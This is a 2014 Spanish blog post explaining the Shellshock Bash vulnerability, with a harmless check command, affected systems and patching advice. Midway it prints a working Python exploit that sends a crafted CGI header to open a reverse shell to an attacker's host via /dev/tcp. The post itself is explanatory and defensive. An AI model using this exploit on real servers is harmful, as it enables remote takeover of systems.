30 sept 2014

SHELLSHOCK, TODO LO QUE NECESITAS SABER HASTA LA FECHA


Mucho se ha escrito y comentado al respecto sobre "Shellshock", por eso he decidido hacer un resumen con mucha de la información que se conoce al respecto hasta la fecha, sin entrar en demasiados detalles técnicos. La información procede de diversas fuentes y necesitaría mucho tiempo y dedicarle una entrada completa para citar todas, así que nombraré alguna de ellas al final del artículo.

Sobre el día 24 se dió a conocer una vulnerabilidad crítica en Bash, (acrónimo de Bourne-Again Shell) intérprete de comandos de Linux, BSD, y Mac OS X. Se registró como, CVE-2014-6271, pero más tarde se le ha reasignado a CVE-2014-7169, se ha asignado para cubrir la vulnerabilidad que todavía está presente después de la solución incorrecta.

Shellshock crea un punto débil que sirve como una puerta trasera para que un hacker ejecute comandos, hacerse cargo de una máquina, profundizar en los servidores, robar datos y desfigurar sitios web. La mayoría de los ordenadores y dispositivos domésticos habilitados para Internet, tales como routers, Wi-Fi, etc.

Webcams por ejemplo, son a menudo basados ​​en Linux y estos dispositivos también pueden ser hackeados y se utilizan como vectores de infección. Este problema se extiende a los dispositivos inteligentes conectados a el "Internet de las cosas", que se encuentra en cualquier lugar y en todas partes, incluyendo hospitales, centrales de energía, e incluso escuelas. Esto significa que incluso con una vulnerabilidad mínima en un dispositivo podría abrir las puertas a un posible ataque aún mayor.



GNU Bash a través de procesos 4.3 arrastran cadenas después de la definición de funciones en los valores de las variables de entorno, lo que permite a atacantes remotos ejecutar código arbitrario a través de un entorno hecho a mano, como se demuestra por los vectores que involucran la función ForceCommand en OpenSSH sshd, los módulos mod_cgi y mod_cgid en el Apache HTTP Server, scripts ejecutados por los clientes DHCP no especificados, y otras situaciones en las que establecer el medio se produce a través de una frontera privilegio de ejecución Bash, también conocido como "Shellshock"

Para comprobar la vulnerabilidad en sistemas *NIX, simplemente hay que proceder de la siguiente manera:

1. Ejecuta el comando siguiente, no hace falta ser "Root":

1| env testbug='() { :;}; echo VULNERABLE' bash -c "echo Hello"

2.  Si te devuelve:

1| VULNERABLE
2| Hello

El sistema es vulnerable. Por el contrario si ves:

1| bash: warning: testbug: ignoring function definition attempt
2| bash: error importing function definition for `testbug'
3| Hello

Su sistema NO es vulnerable.

Por otro lado, si tienes un sistema vulnerable con un script CGI, es trival para explotar y obtener una shell inversa con el código como este:

1|  #
2|  #CVE-2014-6271 cgi-bin reverse shell
3|  #
4|
5|  import httplib,urllib,sys
6|
7|  if (len(sys.argv)<4):
8|      print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
9|      print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
10|    exit(0)
11|
12| conn = httplib.HTTPConnection(sys.argv[1])
13| reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
14|
15| headers = {"Content-type": "application/x-www-form-urlencoded",
16| "test":reverse_shell }
17| conn.request("GET",sys.argv[2],headers=headers)
18| res = conn.getresponse()
19| print res.status, res.reason
20| data = res.read()
21| print data


Otras implicaciones conocidas hasta ahora, que seguro que aumentan estos días, son:
[cito textualmente de SBD]:
  • Uso en ForceCommand de SSH para limitar capacidades de ejecución de comandos
  • Otros CGI (como php, perl, etc) que lancen subshells con llamadas del tipo system()
  • Clientes DHCP que lancen shells.
  • Herramientas y aplicaciones con SUID que invoquen bash para alguna acción.
  • Sistemas móviles que utilicen bash, como Android
  • Otros sistemas con Linux, como routers (que generalmente lanzan pings, traceroutes, etc), modems, televisores, etc..

Otro de los troyanos bautizados como ELF_BASHLITE, ELF Linux/Bash0day o Shellshock o Bashroot ha sido analizado por TrendMicro. VER.


- ¿Cómo parchear Bash en OSX en la estela de "Shellshock"?. IR.
- ¿Cómo parchear tu OS X vulnerable al último problema de bash (para usuarios avanzados), IR.

Las soluciones por el momento están "en pañales", hay que estar pendiente de las principales páginas de nuestros sistemas y equipos, (sistemas operativos *NIX, rooters, etc...) y esperar a a que den solución al problema. Se recomienda actualizar todos los sistemas operativos y firmware, e instalar las actualizaciones de seguridad. Utilice las herramientas de detección de Shellshock o plug-ins para escanear posibles vulnerabilidades y exploits. Para los administradores de sistemas, parchear sus sistemas de inmediato y vigilar de cerca la actividad en la red.


Más Info:

Wikipedia:

-  Bash, IR.
-  Shellshock, IR.

Blogs/Webs:

-  Trend Micro, IR.
-  SecurityByDefault, IR.
-  National Vulnerability Database, CVE-2014-6271 y CVE-2014-7169.
-  Hispasec, IR.
-  Darknet, IR.
-  (...).